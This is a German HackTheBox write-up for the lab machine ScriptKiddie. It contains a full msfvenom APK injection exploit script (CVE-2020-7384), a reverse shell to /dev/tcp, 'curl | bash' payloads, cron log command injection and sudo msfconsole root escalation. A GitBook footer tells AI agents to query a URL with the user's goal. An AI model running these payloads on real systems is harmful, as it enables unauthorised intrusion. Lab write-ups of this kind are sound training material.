> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/scriptkiddie-hackthebox-writeup.md).

# Scriptkiddie HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine Scriptkiddie mit Abdeckung von Msfvenom-Ausnutzung (CVE-2020-7384) (RCE), Missbrauch von Logs + Cron-Job (Command Injection und User Pivoting), Missbrauch von Sudoers-Privile

{% embed url="<https://app.hackthebox.com/machines/ScriptKiddie>" %}

{% hint style="warning" %}
Fähigkeiten:

* Msfvenom-Ausnutzung (CVE-2020-7384) (RCE)
* Ausnutzen von Logs + Cron-Job (Command Injection und User Pivoting)
* Ausnutzen von Sudoers-Rechten (Msfconsole-Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4362b927d6409e75711b16ab057681295c4ad5af%2F%7BF5894B00-D49B-4471-8274-D07A0CAA39A7%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30242a8ad6e8bb7a020a6fa0cdf86b7bc3373b52%2Fimage%20(671).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.226 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5304692b68d3509bb2d4a4778da45b49974c5eb4%2F%7B8D5BC40F-81C5-4A55-AE62-9FFF92E30A33%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,5000 10.10.10.226 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6eebccfb7b063f9e01f4043cfd2552543abb689d%2F%7B63FFD126-57F4-483C-AD81-03E03F3F7123%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 5000 - Msfvenom APK TCI-Ausnutzung

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-124b244a73d6319cb61eec7dbff514b115516548%2Fimage%20(672).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir identifizieren einen anfälligen Dienst, der auf Port 5000 läuft.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f62584aa92b08aca8803785a4fe5e1499feccfa8%2Fimage%20(673).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir führen eine Suche nach zugehörigen Schwachstellen durch:

```bash
searchsploit -m multiple/local/49491.py
```

Wir finden eine mögliche Injektion über APK.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb38e092223a74b700d96ffb88f7dd7a90225fbf%2F%7B6011D19D-D3E5-4A76-8EA3-4C7A9DA18701%7D.png?alt=media" alt="" width="557"><figcaption></figcaption></figure>

**Exploit-Skript (msfvenom-exploit.py)**

```bash
python3 msfvenom-exploit.py
```

```python
#!/usr/bin/env python3
import subprocess
import tempfile
import os
from base64 import b64encode

# Ändere mich
payload = 'ping 10.10.14.50'

# b64encode, um Badchars zu vermeiden (keytool ist wählerisch)
payload_b64 = b64encode(payload.encode()).decode()
dname = f"CN='|echo {payload_b64} | base64 -d | /bin/bash #"

print(f"[+] Erzeuge bösartige APK-Datei")
print(f"Payload: {payload}")
print(f"-dname: {dname}")
print()

tmpdir = tempfile.mkdtemp()
apk_file = os.path.join(tmpdir, "evil.apk")
empty_file = os.path.join(tmpdir, "empty")
keystore_file = os.path.join(tmpdir, "signing.keystore")
storepass = keypass = "password"
key_alias = "signing.key"

# Leere Datei anlegen
open(empty_file, "w").close()

# apk_file erstellen
subprocess.check_call(["zip", "-j", apk_file, empty_file])
# Signing-Schlüssel mit bösartigem -dname erzeugen
subprocess.check_call(["keytool", "-genkey", "-keystore", keystore_file, "-alias", key_alias, "-storepass", storepass,
                       "-keypass", keypass, "-keyalg", "RSA", "-keysize", "2048", "-dname", dname])

# APK mit unserem bösartigen dname signieren
subprocess.check_call(["jarsigner", "-sigalg", "SHA1withRSA", "-digestalg", "SHA1", "-keystore", keystore_file,
                       "-storepass", storepass, "-keypass", keypass, apk_file, key_alias])

print()
print(f"[+] Fertig! Die apk-Datei befindet sich unter {apk_file}")
print(f"Führe aus: msfvenom -x {apk_file} -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o /dev/null")
```

Das Skript erzeugt eine temporäre Datei mit einer bösartigen APK.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56c34dcdbb909b236f6ba10d8dd3937e46bb3310%2F%7BF0E5A4A6-6373-4429-BC78-68958C379039%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-61b4a607bd5bb30641a5912c2dfee6ec40edefce%2F%7B399AA1A0-CECE-4A7D-AA2C-FC76BF05143A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**ICMP-Paketanalyse**

Wir überwachen die Netzwerkaktivität, um Rückmeldungen zu erkennen:

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3c749063d7363f7075e137ce286e116be43a603%2Fimage%20(674).png?alt=media" alt=""><figcaption></figcaption></figure>

### **RCE-Ausnutzung mit Msfvenom**

Wir modifizieren die Nutzlast, um eine Reverse-Verbindung herzustellen:

```bash
# Ändere mich
payload = 'curl 10.10.14.50 | bash'
```

Wir erstellen einen `index.html` Datei mit folgendem Inhalt:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.50/443 0>&1
```

Wir starten einen HTTP-Server:

```bash
python3 -m http.server 80
```

Dann lauschen wir auf die Verbindung auf Port 443:

```bash
nc -nlvp 443
```

Sobald die APK gesendet und auf dem Zielsystem ausgeführt wird, erhalten wir eine Remote-Shell.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-06f0a042ecb176994def61f6a19b6bbc49534fb2%2Fimage%20(675).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Wir verbessern unser Terminal für eine bessere Interaktivität:

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de6f925e57a3c377327fa22292ec2cae1aa4efeb%2Fimage%20(676).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## **Privilegieneskalation**

### Pivot zu Benutzer pwn

Wir finden ein Skript `scanlosers` im Verzeichnis des Benutzers `pwn`:

```bash
#!/bin/bash

log=/home/kid/logs/hackers

cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
    sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done

if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
```

Dieses Skript verarbeitet Logs und führt `nmap`aus, was zur Privilegieneskalation ausgenutzt werden könnte.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c407c1173b7442d07e32b07c11a45487e9adc5b%2Fimage%20(677).png?alt=media" alt=""><figcaption></figcaption></figure>

Die Idee ist, einen Befehl einzuschleusen, indem wir die Filterung nach dem dritten Wort ausnutzen. Wir können ein Semikolon einfügen `;` gefolgt von einem bösartigen Befehl, wie zum Beispiel `curl` an einen vom Angreifer kontrollierten Server.

```bash
echo "[2024-03-05 20:20:20] 127.0.0.1; curl http://10.10.14.50 #" > /home/kid/logs/hackers
```

Dies führt zu einer HTTP-Anfrage an unseren Server.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-befcd726a6d45550c046f3f77851982b5db36d57%2F%7BCE799296-08D8-4265-9132-71F32702905E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir lauschen auf unserem Rechner mit:

```bash
nc -nlvp 443
```

Dann schleusen wir einen Befehl ein, um eine Remote-Shell zu erhalten:

```bash
echo "[2024-03-05 20:20:20] 127.0.0.1; curl http://10.10.14.50 | bash #" > /home/kid/logs/hackers
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6dc3769cf7af08f666c2bc56a2d69695792ce08%2F%7B506BED82-C812-400F-9CC6-426008FF291E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Sudo - Metasploit

Wir prüfen den `sudo` Berechtigungen:

```bash
sudo -l
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e8fad9977d91201ade1e3a247d15a95488e3773%2F%7B03C8AACD-67A2-4F59-8D25-34A880EE9ED6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Wir entdecken, dass wir ausführen können `Metasploit` als `root`:

```bash
sudo /opt/metasploit-framework-6.0.9/msfconsole
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e267cb89fb8fbf67682835e77ed2b37cfc024caa%2F%7B3FC227BC-F9F4-45A6-A979-913A8C6AB152%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

In `msfconsole`, öffnen wir eine interaktive Ruby-Shell:

```ruby
irb
```

Dann führen wir eine Bash-Shell aus:

```ruby
system("/bin/bash")
```

Wir sind jetzt `root` und können das `root.txt` Flagge! 🎉

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e54f4f31278745c3d05f080bfcba1d270a30562%2Fimage%20(2907).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79c2eebaf9b980b94c2ae5e08629bacc24af8ebc%2Fimage%20(2909).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-686e78124ef28be937130bdc45fc8de1475d8172%2Fimage%20(2908).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/scriptkiddie-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
